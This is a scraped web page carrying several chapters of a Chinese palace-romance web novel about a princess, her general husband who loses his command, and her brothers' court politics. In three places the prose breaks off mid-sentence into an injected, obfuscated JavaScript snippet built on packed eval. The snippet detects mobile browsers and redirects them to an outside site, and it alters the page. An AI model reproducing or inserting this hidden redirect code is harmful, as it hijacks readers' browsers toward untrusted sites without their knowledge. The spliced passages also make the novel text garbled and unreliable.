可萧璟越看,越觉得那女子与周遭之人格格不入,她周身萦绕着一股清冷书卷气,眉间似有愁绪,而那双在弦上翻飞的手,若是执笔泼墨,题诗作画,会更为相宜。 “三哥,她是谁?”萧璟小声问道。 萧烁深深屏了口气,缓缓吐出了那几个让她心神一震的字,“江南第一美人。” “什么?”萧璟差点惊呼出来,她觑了觑四下里的目光,确认无人注意这边,才继续道,“你是说,大哥书房那副美人图上的「江南第一美人」?” 萧烁点了点头,随即二人目光默契地望向对面的萧启。 萧启正与几位朝臣宴饮,面色沉稳如常,嘴角还有淡淡的笑意,而他的目光,偶尔会绕回大殿中央,倏然掠过,便停在其他旁的地方。 只不过,落在他们这侧的时候稍稍多些。 曲调渐转,小弦切切,如同私语般低回缠绵。 萧璟满腹疑问,嘀咕道:“三哥,你是不是看错了,江南第一美人,怎么会在京城教坊司呢?” “你该不会是见过太多美人,看花眼了?” “你不相信我?”萧烁挑了挑眉,眼睛都瞪大了些,“三哥红颜知己虽多,但认错人这种事,从未有过。这女子的眼睛,和画像上一般,清婉中透着哀绪,我一眼便记住了。” 他又伸出手指,在自己那双含情桃花眼前比划了两下,信誓旦旦,“三哥这辈子,最擅长的便是发现美、欣赏美,若真认错了,我甘愿自绝双目。” 萧璟:“……” 能把风流好色说得这般清新脱俗的,也就三哥了。 她正欲再问,身旁陆惊澜的声音突然响起,“殿下,尝尝这个,江浙一带新贡的杨梅,臣方才试过了,不酸。” 「江浙」两个字,他似乎说得格外重些。 萧璟心头蓦地一跳,望向他的目光有些心虚,他轻轻推过来一个白瓷盘,上面盛着数枚色若玛瑙的杨梅,光是看着便令人唇齿生津。 她还在迟疑间,萧烁倒是毫不客气地伸过手来,连塞了好几颗,含糊笑道,“真甜!惊澜你真体贴,五妹最讨厌吃酸的了。” 说罢,他眼角疯狂挑动,示意萧璟。 她拈起一颗送入口中,甜汁迸溅:“嗯,确实很甜。” 咽下杨梅时,殿中曲恰好行至一段急促的轮指,乐音清脆,如珠落玉盘,也落在她如鼓的心跳上。 “多谢三哥提醒。”陆惊澜笑了笑,温声道,“不过,殿下的口味臣记得很清楚。” “啊那就好,那就好。”萧烁从善如流,随即彻底闭上了嘴。 萧璟又含了一颗杨梅,小口咽着果肉时,偷偷觑了一眼陆惊澜,他看起来神色自若,并未关注殿中的乐伎,反倒是朝着下首的二哥举了举杯。 她又望了望对面的苏婉卿,她脸上带着温润笑意,下颌还时不时随着乐曲节奏轻点几下,从容静好。 萧璟低头暗忖,罢了,此刻实在不宜深究那女子的身份。 曲终宴散,回程的马车上,萧璟正闭目养神,这一夜不知应付了多少虚情假意的辞令,笑得她脸都酸了。 酒意也酣沉而来,她感觉眼皮越来越重。 她平日并非滴酒不沾,只是今夜已经算不得小酌了,饶是陆惊澜替她挡了大部分酒,但一番一番敬贺下来,她此刻已是朱颜酡酡,醉意醺然了。 马车在长街上晃悠悠的,寂静的夜里,只剩车轮在石板路上碾过时,奏出的“轱辘轱辘”的响声。 忽然,一道温柔的声音侵入了这支清脆的夜曲:“方才席间,殿下和三哥相谈甚欢?可是有什么趣事?” 萧璟昏沉的睡意蓦地消了一瞬,挣扎着睁开眼,含糊道:“有吗?不过是闲谈几句。” “只是几句吗?臣面前那壶「梅子黄时雨」都见了底,殿下还没说完。” 萧璟直起身子,尚未坐稳,一阵醇烈的酒气先扑面而来,其中藏着的淡淡清冽之味,正是梅子黄时雨的香气,这酒正合时令,口感酸中透甜,餐后解腻助消最好。 “你,你喝那么多做什么?”她轻轻嗅了嗅,忍不住蹙眉,“有些酒,可以不喝的。” “反正有些人,也不是真心实意的。” 话音刚落,马车在街口一个急转,颠簸了一下。 萧璟本来就晕乎乎的,这一颠,她身子一软,整个人向前栽去,结结实实地扑进了陆惊澜怀里。 暖意裹挟着醉人的酒香,瞬间将她团团围住,当然,还有身后那双紧紧揽着她的腰的手臂。 她没有推开,实在是困得没有力气了,而且他怀里也挺舒服的,便躺一会吧。 沉默了好一会,他沉沉的声线才在马车里响起,那声音从他胸膛而来,顺着她紧贴的侧脸,一路钻进她耳中:“臣高兴,一时贪杯了。” 萧璟迷迷糊糊地抬起头,隔着层层醺意,她依然能看见他清醒又专注的眼神,哪有一点醉意。 她举起手指,戳了戳他完全不红的脸,好奇问道,“以前咱们偷偷喝酒,你只要喝一点点,便会脸红,为何今夜喝了这么多,一点事都没有?” 他低头看她,温热的气息落在她仰起的脸上,轻轻擦过她的唇,“喝得多了,酒量自然好了。” 许是他送来的气息里裹着的酒意太浓重,这句话刚一说完,萧璟的头又昏沉了起来,再次栽回他怀里,靠在他胸前。 “喝得多?你在边关那两年常喝酒吗?” 她的声音越来越轻。 他像是被她感染了,声音放得极轻,都快成了叹气:“不是那两年。” 意识彻底被醉意和困倦攻陷的那一刻,她问出了最后一个问题:“那是什么时候?” 倏尔之间,马车里彻底静了下来。 陆惊澜默默听着她的呼吸声,逐渐变得绵长安稳,才悄悄开口:“是回来找你的前一年。” 他看着她微红的酡颜,语气悲凉,仿佛又回到那一年彻骨的冷中:“那一年,除了喝醉,我找不到别的不去想你的办法。” “轱辘轱辘”声再次清晰起来,陆惊澜将怀中人抱得更紧了些,月光斜斜地透进马车,洒在他两行清泪上,将那点点湿意映照得更凉。 她忽然在他怀里动了一下,呢喃道:“陆惊澜,少喝酒,伤身……” 陆惊澜怔了许久,才确定方才听到的话不是幻觉,泪还在无声地滑落,但他笑了,轻轻在她发顶印了一个吻。 “好,不喝了。” 翌日,萧璟足足睡到天光大亮才醒,昨夜那般烦人的昏沉感尽数褪去,她舒坦地伸了个懒腰,缓缓掀开眼帘,却发现身侧空空如也。 她朝着门外唤道:“来人。” 一直候在外间的芷萝闻声推门而入,数名侍女紧跟着鱼贯而入,都是伺候她晨起梳洗的。 萧璟抱着锦被坐起身来,声音还透着晨起的朦胧,问道:“驸马呢?” 芷萝用手背试了试玫瑰漱汤的温度,才递给萧璟,道:“殿下,今日大朝会,驸马一早便上朝去了。” 萧璟一连漱了三道,将那些宿醉的酸涩尽数吐出,才不满道:“哪有大婚第二日便让人上朝的?陛下不是说,这段时日都让驸马休沐吗?” 芷萝笑了笑,柔声道:“殿下您忘了,今日朝会要对漠北大捷的战士们论功行赏,驸马是主将,立了大功,自然得去。” “说的也是。”她点点头,那点不知因何而起的烦躁也渐渐散去了。 芷萝抿嘴偷笑,继续道:“驸马上朝前特意嘱咐了,不要吵醒殿下,让您多睡一会。若是您问起,便说「臣即刻就回」。” 萧璟耳根微热,一时没说话,直到梳妆时,才突然开口:“今日午膳,让小厨房备些清淡的,本宫和驸马昨夜饮了酒,不宜食油腻之物。” “殿下放心。”芷萝一边为她画眉,一边含笑应道。 用过早膳,萧璟靠在小榻上,翻着徐危给她的一本《甘石星经》,据说还是他徐家世代秘传的版本,可那些理论和星图,对她来说实在晦涩难懂,她看了许久,仍不得启发,索性先丢开手,发会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17003023|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆。 可她刚放空思绪,昨夜宫宴上那个清冷孤傲的身影,便蓦地闯了进来,心底那些未竟的疑问,也一并涌了上来。 她到底是谁?和大哥又是什么关系呢? 萧璟思来想去,此事还是得去找三哥商量,毕竟人是他认出来的,在查明之前,为着大哥的声誉,不宜声张。 她又望了望窗外已经高悬的日头,自言自语道:“都这个时辰了,估摸着他也快下朝了,用完午膳再去找三哥吧。” 那抹悠然的笑意还挂在她脸上,突然,芷萝火急火燎地推开门,带着疾步赶来的喘声回禀道:“殿下,出事了,今日朝会,驸马……” 她快速换了口气,像是急的,又像是气的,继续道,“驸马的兵权被夺了。” 萧璟的脑袋霎时间“嗡”了一下,她愣了一会儿,才霍然起身:“怎么回事?你好好说。” 芷萝匀了匀气,继续道:“几位御史大人在朝上参了驸马一本,说是驸马掌兵于礼制不合,恐有外戚干政之忧,陛下当场就收了兵符,说是让驸马先、先回家……” “岂有此理!”萧璟顿时火冒三丈,“惊澜忠君爱国之心人尽皆知,兵权是他在战场上用命一点一点搏来的,那些个老东西,动动嘴皮子就想给人扣上「外戚干政」的帽子,陛下竟然还信了?” 她急得在屋里来回踱步,最后重重一顿足,“不行,我得进宫一趟。” 说罢,萧璟一阵风似的冲到门口,结果和下朝归来的陆惊澜撞了个满怀。 他一把伸手拽住了她,才让趔趄着后退的她站稳了身子。 “殿下这是急着去哪儿?” 萧璟看清来人是他,连忙上前,扶住他的手臂,急切道:“惊澜,今日朝会的事我都知道了,一定是柳家授意那几个御史弹劾你的,陛下真是昏头了,竟然听信谗言。” 还不等陆惊澜开口,她自己说着说着,忽然明白了什么,叹了口气,“不对,不是陛下,是……” 她的手突然无力地垂了下来,望着陆惊澜的眼睛,小声道,“是大哥,对不对?” 陆惊澜竟然笑了一声,面上毫无被夺权的不快或是愤然,他轻声道:“那几位御史大人,确实都是柳家一派的势力,不过,晋王殿下什么也没说。” 什么也没说。 萧璟自嘲般地笑了一下,她摇了摇头,硬生生把要夺眶而出的眼泪忍了回去:“沉默,不就是大哥的态度吗?” “若此事非大哥所愿,他绝对不会漠视。” 陆惊澜轻轻拍了拍她的肩,解释道:“殿下不必觉得臣受委屈了,晋王殿下这么做,自然有他的考量,依照祖制,为避外戚干政之嫌,臣身为驸马,确实不宜再掌兵权。” 他顿了顿,将她鬓边那绺急得散落的青丝温柔地别回耳后,“更何况,臣是自愿的,能陪伴在殿下身边,比什么都重要。” 萧璟看着他这般反应,困惑压过了愤怒,不解道:“陆惊澜,你不是从小立志要当名震天下的大将军吗?你就打算这么放弃了?” 她又急忙补充道,“礼制防备外戚干政是不错,可你堂堂正正赢来的东西,凭什么要为了一个莫须有的罪名拱手让人。” “你是驸马,但你更是在漠北一战击溃西秦三万大军的主将!” 最后几个字,她是带着哭腔喊出来的。 她不希望他放弃,更不希望他是为了她放弃。 可陆惊澜似乎不为所动,他依然笑得温润,仿佛那些话和他毫无关系,他温声道:“殿下,当大将军的愿望,臣早就实现了。” 他停顿片刻,声音低下来,继续道,“但有个别的愿望,还没有实现。” “实现了?”萧璟被他这话气笑了,她无奈地摇着头,又是痛心又是恼火,“你才赢了和西秦一战便如此志得意满?别的愿望,能有什么愿望比你从小的志向还重要?” 他突然敛起笑,眼神也暗下来,迟疑了很久,都没有开口。 萧璟看着他这副模样,心里大约也明白了七八分,赶在眼泪汹涌而出的前一刻,她生气地跑开了,只丢下一句满是委屈的: “没出息!” 陆惊澜想去追,可脚下像是被那句「没出息」钉住了,他紧紧攥着拳,眼眶绷得通红,可这一次,他把眼泪逼了回去。 萧璟,如果当大将军的代价是失去你,那我宁愿一辈子没出息。 13. 第 13 章 萧璟还是红着眼睛进宫了。 当她拖着沉重的脚步迈进紫阳殿时,腰间那枚金铃,像是也透不过气来似的,响声闷闷的。 还不等她上前,萧宸起身迎了上来,他满脸都写着无奈,轻声道:“五姐,朕……” 萧璟轻轻摇了摇头,挤出一个宽慰他的笑,道:“不用解释,我知道,你也拗不过大哥。” 她长长叹了一口气,继续道,“这三年,大哥名义上是监国辅政,可呈到你案前的每一封奏疏,哪一封不是先过晋王府,你落的每一道朱批,哪一道不是写在大哥的墨批之后?” “五姐,”萧宸打断了她,压低声音,“这话莫再说了。” 他勉强地笑了笑,“只要能国泰民安,朝野归心,这样也没什么不好。” “再说了,”他的声音突然轻快起来,“朕也不是每一道圣旨都听大哥的,譬如,你的赐婚圣旨就不是。” 两人相视一笑,萧璟心头的窒闷稍稍解了些,她调侃道:“那看来以后,我要常带着匕首来「督促」陛下下旨了。” “五姐,你饶了我吧。”萧宸蹙着眉,尾音拖得长长的,像极了小时候被她闹得直求饶的模样。 萧璟笑了一会儿,才认真道:“好了好了,说正经的,漠北的兵权如何处置?” 萧宸端肃神色,道:“照大哥的意思,漠北形势复杂,周边诸国虎视眈眈,最好寻一战功彪炳、经验丰富的老将。” “老将?”萧璟默默琢磨着,“朝中曾在漠北任职的老将,除开陆家,也不剩几个。” 她眉心微抬,轻声问道,“胡征,胡老将军?” 萧宸点了点头。 “胡家是将门世家,又与大哥母族是姻亲,而且四年前……”萧宸顿了顿,“大哥属意的王妃,本是胡家大小姐。” “可偏偏父皇下旨赐婚,让大哥迎娶国子监祭酒苏澈之女。” 萧璟叹了口气:“帝王心术,在于制衡,如此看来,大哥的婚事,不过是父皇用来平衡局势的一枚棋子。” “只不过如今,轮到我头上了。” 说罢,她感觉心就像空了一块,冷风直灌。 人为刀俎,我为鱼肉,而她,硬生生把他一起拖上了案板。 殿中静默了许久,萧宸试探着开口道:“五姐若是觉得亏欠驸马,朕…朕可许一闲职给他,翰林院侍读如何?这点主,朕还是做得了的。” 萧璟眼神复杂地看着他,道:“你确定?” 萧宸眼中闪着光,声调都上扬了些:“五姐不必担心,朝政繁忙,朕无心举办经筵,驸马平日只需在翰林院喝喝茶读读书,是个再清闲不过的美差了。” “这么美的差你自己留着吧!”萧璟要被他气笑了,转身便走,“我自己想办法弥补他。” 萧宸还不死心,满是恳切的声音从她身后追来:“欸五姐,这个差事真的很好啊,你再考虑考虑。” 他望着萧璟头也不回的背影,喃喃道,“朕倒是想给自己,给不了啊。” * 萧璟捧着一碟新鲜出炉的杏仁酥,在书房外踌躇了许久,才推门而入。 陆惊澜正站在窗边,夕阳洒在他身上,映照得他的背影格外孤直,他闻声转过身来,面上立刻绽开一个浅笑。 “殿下回来了?”他的声音轻松得像是什么都没发生过。 萧璟反而更愧疚了,她走过去,将碟子放在他面前的小案上,又朝着他推了推,声音小小的:“今日小厨房做了这个。” 她眼神飘忽,不敢看他,“你要不要吃一块?” 陆惊澜笑着上前,压根没看那碟精致的点心,目光落在她有些微红的脸上:“当然要。” 他俯身凑近,亮晶晶的眼睛追着她躲闪的视线,“不过,要殿下喂臣。” 萧璟瞪大了眼,望着他那张得寸进尺的笑脸,最后还是把那句「你自己没手吗」咽了回去。 她伸手拿了一块杏仁酥,动作僵硬地递到他嘴边。 陆惊澜立刻咬住酥点,张口的一瞬间,一阵温热的气息拂过她指尖,她手一抖,差点没拿住。 他慢慢地小口嚼着,眼睛却一动不动地望着她,里面盛着的笑意越来越浓。 “好吃。”他刚咽下,又放软了声音道,“还要。” “你……”萧璟被他看得脸直发烫,本想推开,可想了想自己是来「道歉」的,态度还是得好点。 她又拿起一块,这次动作自然了些,送到他嘴边。 他一口咬住杏仁酥时,她刚要撤手,却被他顺势握住了手腕。 然后,他就着她的手,一点一点吃完了那块酥。 指尖突然传来温热的濡湿感。 萧璟意识到那是什么,整个人都僵住了。 陆惊澜却浑然不觉,依旧没松开她的手腕,还舔了舔嘴角,笑道:“真甜。” 耳根彻底红透了,她嗔道:“你、你……”可听起来却毫无气势。 陆惊澜不紧不慢地拈起一块,递到她唇边,温声道:“殿下不信?那殿下自己吃一块?” 萧璟看着那块冒着热气的酥点,脸上越发烫了,但还是靠了过去,小小咬了一口。 她细细嚼着,他笑着问,“是不是很甜?” 还不等她回答,他又把剩下的半块,径直送进了自己嘴里,微蹙着眉品鉴起来,认真道:“这块好像更甜了。” 她羞得没接话,但手却很诚实地又拿了一块。 两人就这样你一块,我一块地喂起来,都没再开口说话,一时之间,空气里只剩杏仁酥的甜香和一股融融的暖意。 直到两个人再次伸出手,这一次,触到的不是酥点,而是彼此的指尖。 萧璟才发现,那一整碟杏仁酥已经被他们吃了个精光。 她慌忙收回手,迟疑了片刻,抬眼看他:“你…你不生气了吧?” 陆惊澜看着她,神色郑重:“臣从未生过殿下的气。” “可是……”她小声嗫嚅着,“我说了很过分的话。” 他摇了摇头,又向前走了半步,两人之间的距离被拉得更近,但仍然隔着一道不会碰到彼此的小小空隙。 “那殿下现在,还觉得臣「没出息」吗?”他的声音放得很轻,还带着微微的颤抖。 萧璟抬起头,望进他的眸子里,那里没有责怪,只有一片沉静的温柔,在等着她的答案。 “我不是那个意思。”她终于开口,懊悔极了,“我只是不希望你……放弃。” 特别是,为了我放弃。 他看了她许久,久到窗外的暮色都沉了些,才轻轻笑了一声。 “臣知道了,”他点点头,“殿下都是为了臣好。” 这句话落下,萧璟心里那根紧绷着的弦终于松了几分。 就在此时,芷萝透亮的声音隔着门传来:“殿下,驸马,可以用晚膳了。” “来了。”她连忙应道,脚下比声音更急,转身便要向外走去。 走到门边,她又停下脚步,回头望了陆惊澜一眼,他还站在窗边,带着笑意温柔地看着她。 萧璟忽然就觉得心里不慌了。 她冲他扬了扬下巴,眼睛里重新漾开神采:“还愣着做什么,吃饭。” 陆惊澜脸上的笑意更深,大步跟了上来,“是,殿下。” 用过晚膳,时辰尚早,两人又回到书房,陆惊澜在案前执笔,将自己掌握的漠北军情一一陈明,移交兵部。 萧璟则倚在小榻上,随手拿了本游记翻着,打发时间,偶尔抬起头,飞快瞥一眼他专注的神情。 烛泪堆叠,萧璟已经把那本游记翻来覆去看了几遍,虽然一个字也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一半是因为秘密可能被发现的心虚,还有一半,是因为总感觉身边少了些什么。 她又翻了个身,重重叹了口气,谁知门恰在此时被轻轻推开。 “殿下还没睡着?” 她索性坐了起来,望向房门的方向,屋内没有点灯,但她依然能在黑暗里分辨出他的身形。 “陆惊澜。” 萧璟深深屏了口气,才继续道,“如果我说,我和你成亲是别有所图呢?” 黑暗里,他的嘴角好像微微扬起,回道:“那殿下说说,图臣什么?” 她没有立刻回答,像从前那般勾了勾手指,示意他过来。 他看见这个熟悉的手势,大步走至榻前,屈身蹲下,笑意盈盈地仰头看她。 萧璟纠结了许久,试探着开口道:“我跟你成亲,是因为…因为你命好,能给我们萧家带来福气。” “命好?”他笑了出来,然后肯定地点点头,“能被殿下看上,臣确实命好。” 她对他这么快便接受了这个答案有些震惊,追问道,“你、你不生气?” “为何要生气?”他耸了耸肩,一副理应如此的样子,“臣只觉得幸运,殿下想要的东西,臣刚好有。” 说罢,他敛起笑意,眼眸暗了下去,声线低沉,“更何况,殿下焉知,臣不是别有所图?” 萧璟怔住了,空气凝固了许久,她干涩的声音才响起:“你……图我什么?” 陆惊澜没有立刻回答,就着这个蹲着的姿势,他轻轻握住她的手。 他的手掌宽大温暖,可声音却像是蒙着一层迷雾。 “臣会让殿下慢慢知道的。” 14. 第 14 章 五月里,入了中旬,午后的阳光愈发灼人,院中老树上的蝉不肯给人留一点清静,从早到晚“吱吱”个没完。 公主府书房中央,放着一座巨大的敞口铜盆,里头盛着刚从窖中取出的冰块,不断冒出丝丝缕缕的凉气,可还是压不住榻上那人撒娇喊热的动静。 “殿下,臣头晕,定是暑气侵体……”陆惊澜歪在小榻上,身下铺着竹簟,怀里抱着竹夫人,正散发着淡淡的薄荷气,提神醒脑。 萧璟瞪了他一眼,但立马绽开一个温柔的假笑,执起团扇胡乱摇动起来,又把手旁的冰鉴推了过去:“吃这个,降暑。” 陆惊澜微微抬了下眼皮,瞅了一眼冰鉴里镇着的瓜果,手都懒得伸,理直气壮道:“殿下喂我吧,我要吃荔枝。” “你自己没手吗?” 他却有一搭没一搭地敲着怀里的竹夫人,语气依然懒懒的:“殿下,臣如今担着「引福气」的重任,若是身体不适,心情不佳,福气散了可怎么是好?” 说罢,他张嘴等着投喂:“啊——” 又来了,这借口不知用了多少遍了。 自从那夜坦白后,他便欣然接受了「吉祥物」这个新身份,而且适应得极好,好过头了。 可偏偏她无法拒绝,人是她亲手招来化煞的,又因着她的缘故赋闲在家,利用也好,愧疚也罢,总归是要哄着他的。 她拈起一颗荔枝,细细剥好,才送到他嘴边,还柔声道:“慢点吃,别噎着。” 正在此时,书房门被“哐”地一声推开,未见其人先闻其声:“五妹,找我什么急事?这天热死了……” 萧璟被突如其来的推门声吓得手下一抖,直接把那颗荔枝整个儿塞进了陆惊澜嘴里。 陆惊澜正悠哉悠哉地等着,结果被那囫囵塞来的果肉一噎,人猛地从榻上弹起来,一张脸瞬间咳得通红。 萧璟慌忙帮他拍背:“快,吐出来!” 萧烁看着眼前混乱的状况,眼神呆滞:“我……” 那颗差点「谋杀亲夫」的荔枝,终于被陆惊澜咳了出来,他指着自己的喉咙,眼泪汪汪:“殿下,臣差点儿成为史书上第一个被荔枝噎死的驸马。” 萧璟狠狠甩了一个眼刀给萧烁:“三哥,你进门之前不知道让人通传一声吗?” 萧烁茫然地张着嘴巴:“啊?我来你府里几时需要通传过?” “三哥,往后就需要了。”陆惊澜虚弱地躺回榻上,气若游丝道,“不然再来这么一回,臣的福气怕是要散尽了,殿下说是不是?” “什么福气?你们打什么哑谜呢?” 萧璟摆摆手:“行了,说正事。” 她坐直身子,神色严肃道:“三哥,我这几日思来想去,漠北的兵权不能就这么算了。” 说着,她瞥了一眼在一旁躺着的陆惊澜,他张了张嘴,倒不是要开口说话,而是给自己喂了颗葡萄。 萧璟只好偷偷叹了口气,继续道,“大哥不声不响地将了我们一军,这个哑巴亏,我不吃。” 萧烁自顾自地拈起一颗葡萄,在空中抛了两圈,才扔进嘴里:“那你想如何,论资历论身份,眼下胡老将军是接手漠北的最佳人选,更何况他背后还有大哥的支持。” 萧璟挑眉一笑,“三哥你错了,接手漠北的最佳人选,是二哥。” “二哥?”萧烁咽下葡萄,摸着下巴琢磨道,“他五年前就在漠北征战过,领兵打仗这一块自然是没得说的。” “不错,”萧璟点了点头,“亲王身份再加上裴氏一族的助力,只要二哥肯争,这兵权,落不到旁人手里。” “但是……”萧烁重重叹了口气,在雕花木椅上落座,“二哥他不争啊。” “二哥不想争,可我想争。”她看着萧烁的神色陡然认真起来,继续道:“一家独大总是不如平分秋色,这叫「制衡」,是大哥刚教我的。” “更何况,胡老将军纵然经验老道,可年事已高,又一向谨慎保守,如今四方形势复杂,若全权交由他一人,只怕力不从心,反对边关安稳不利。漠北,需要一位骁勇善战,又能运筹帷幄的掌权者。” 萧烁无奈摇了摇头:“你想得是周全,可二哥能愿意?他那个性子你又不是不知道,重情重义,古板执拗。” “若是边关战事告急,不消你说,他立马披挂上阵,可眼下太平得很,你这时候同他说争权夺位,他第一个就翻脸。” 他撇撇嘴,望向榻上那个闲适的人,语气复杂,“要怪,就怪你的驸马太能干,打得西秦偃旗息鼓,不敢来犯。” 听了这话,陆惊澜微微一笑,道:“多谢三哥夸奖,四方太平,臣才好安心守在殿下身边不是?” 萧璟白了他一眼,没接话。 三哥话中的难处她自然一清二楚,她顿了顿,恳切道:“所以我才找你来,你和二哥是一母同胞的兄弟,总能想办法说动些?” “我哪有办法?”萧烁一摊手,毫无斗志,“我和二哥没半点像的地方,他守礼持重,我纨绔风流,他是所有人看好的大将之才,而我?” 他扯了扯嘴角,“大概是所有人看好的京城第一富贵闲人。” 他的语气轻飘飘的,可话一出口,萧璟却觉得心都重了几分,一时不知如何接话。 陆惊澜吃葡萄的手突然顿住,坐起身来,沉声道:“三哥,你这话不对。” 兄妹二人的目光瞬间聚了过来,带着隐隐的期待。 陆惊澜眨了眨他清澈的眼睛,继续道,“京城第一富贵闲人,往后是我了。” 萧璟:“……” 萧烁愣了一瞬,然后从椅中跳了起来:“凭什么你是第一闲人?” 陆惊澜又躺了回去,还伸了个懒腰,嘴角上扬:“凭我现在躺着,你站着。” 萧烁眼睛瞪得老大,指着榻上那个「第一闲人」,向萧璟控诉道:“五妹,你到底娶了个什么玩意?” 萧璟扶额叹息:“你俩能不能说正事?” 陆惊澜这才不紧不慢地开口:“既然二哥重情重义,那不如就从情义入手,二哥有没有什么红颜知己,让她劝劝呢?” “毕竟,”他顿了顿,朝着萧璟粲然一笑,“英雄难过美人关嘛。” 萧璟看着他微挑了两下眉梢,点了点头,肯定道:“惊澜说得有道理,我们可以由此入手。” 陆惊澜的笑却像是被突然冻住了,他扯了扯嘴角,手一抖,那颗葡萄“咕噜咕噜”地滚到了萧烁脚边。 萧烁低头看了看,没好气地问道:“这葡萄你还吃不吃?” 他捂着胸口重新躺下,弱弱道,“不吃了,刚被噎到了。” 萧璟无暇管他,转向萧烁问道:“三哥,你知道二哥有什么红颜知己吗?” 萧烁皱着眉,皱了许久,才开口:“没有啊,我就没见过他身边有姑娘,二十一了,还是孤家寡人一个,朝中想把女儿嫁他的大有人在,可他全都回绝了。” “整日一副清心寡欲的模样,不是打算出家,就是……” “好龙阳!” 话音刚落,萧璟闭上眼,嘴角疯狂抽搐,内心唾骂自己,怎么会蠢到找三哥来帮忙的。 陆惊澜也闭上了眼,暗自庆幸,还好刚才没吃葡萄。 两人还没来得及睁开眼,书房门便又被“哐”地一声推开了。 这回,来的是稀客。 一身利落玄色劲装,除了那柄常年不离身的佩剑,腰间并无甚装饰,墨发高束,眉平目圆,如同他这个人,永远端肃持重。 “二、二哥?”萧烁被吓了一激灵,连连退了几步。 萧宏双手抱臂,倚在门边,嘴角难得一见地上扬:“老三,看来上回的《礼记》还是抄少了。” 他顿了顿,目光望向小榻方向,笑意尽收,声音沉稳,“漠北的兵权,我接了。” “什么?” 这出乎意料的峰回路转,让萧璟一时茫无头绪。 陆惊澜不慌不忙地斟了盏茶,和声道,“二哥,刚沏的雨前龙井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016091|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尝尝。” 萧宏轻轻笑了一声,并未上前,他的目光在陆惊澜身上打了个转,才落在那盏香气氤氲的热茶上,声音上扬了些:“好茶,但今日不得空了,晚些时候送到我府上吧。” 说罢他干脆地转身离去,萧烁还木然地张着嘴,问了一句:“二哥你去哪?” “裴府。” 这两个字冷冷落下之时,萧璟和萧烁目光一碰,愣了一瞬后,两人嘴角同时扬起一个会心的笑。 那是萧宏、萧烁的外祖家,老将军裴邵戎马一生,军功赫赫,其子裴世钧更是青出于蓝,坐镇西南,手握重兵。 看来,二哥是真打算争一争了。 “五妹,这还是二哥吗?”萧烁回过神来,目光望着那个早已远去的身影,不解道,“他今日怎么跟换了个人似的?” 萧璟的笑也淡了下去,久久无言,视线蓦地转回榻上那个正怡然品茗的人,试探着问道:“陆惊澜,你知道什么吗?” 他漫不经心地啜了一口热茶,温语伴着清香,轻飘飘地拂过萧璟耳畔:“臣这些时日都在府里躺着,能知道什么?” 他直起身,将手边那盏茶递了过来,眉眼含笑,“不过,这茶倒是极好的,殿下尝尝?” 萧璟上下打量了好几遍他那张笑得温良的脸,才默默接过。 茶汤清绿,香气浓郁,入口回甘之味明显。 这人,在府里无所事事,茶艺一道倒是精进不少。 * 送走咋咋唬唬的三哥后,萧璟重新坐回小榻上,一只手撑在小案上,托腮沉思。 究竟是什么,能让对权势一向无欲无求的二哥,主动入局。 想着想着,她的目光又不由自主地落向身侧。 陆惊澜不知何时睡着了。 斜晖曛曛,给他整个人都镀上一层柔和的光晕,窗外偶有小雀扑棱飞过,本是一点细微的动静,却足以让停驻在他眼睫上的那一小片夕阳,碎作点点金粉。 竟睡得这般不安稳。 她收回目光,轻轻地叹了口气,耳边却传来一声朦胧的呓语:“殿下……” 他在唤她?他梦到了她? 她稍稍靠近了些,顺势道:“我在,惊澜你梦到什么了?” 虽然她极力想压低声音,可尾音还是忍不住微微发颤,像带着小钩子似的,不过没把他的话勾出来,倒是把他的眼皮勾开了一道小小的缝。 “你、你醒了?”萧璟的声音更小了些,那只撑在他身侧的手此时僵硬得不会动弹,让她半个身子都虚虚地悬在他上方。 陆惊澜才刚刚掀开眼帘,瞳孔便被眼前人完全占据,他甚至有一瞬间忘了呼吸。 月眉星眼,顾盼生姿,她本就雪白细腻的皮肤,此刻从脸颊到颈间都蒙着一层淡淡的粉色,宛若一块染上霞光的羊脂美玉。 她的声音又细又轻,几乎快听不到,可伴着话语而来的那缕温热香气,却像她这个人一样,毫不讲理地钻进他的肺腑,他的心房,再悠悠荡荡地飘远。 将他藏在骨子里的那些名为「萧璟」的执念,一点一点勾了出来。 然后,不管不顾地离开。 他能感觉到自己的喉结在微微滚动,咽了咽才道:“嗯,醒了。” 直到此刻,萧璟才意识到这个姿势有多暧昧,她慌忙坐直身子,眼神飘向另一侧,吞吞吐吐道:“我还以为你睡着了。” 陆惊澜也坐了起来,眼中的迷蒙彻底褪去,带着笑意问道:“然后呢,殿下方才靠臣那么近,是想做什么?” 他顿了顿,慢悠悠道,“莫不是要「趁人之危」?” 萧璟的脸霎时红透,可语气反而强硬了起来:“本宫想要什么,从来都是光明正大的,何时趁人之危过?” 这声反问才落,陆惊澜脸上的笑意倏地散了。 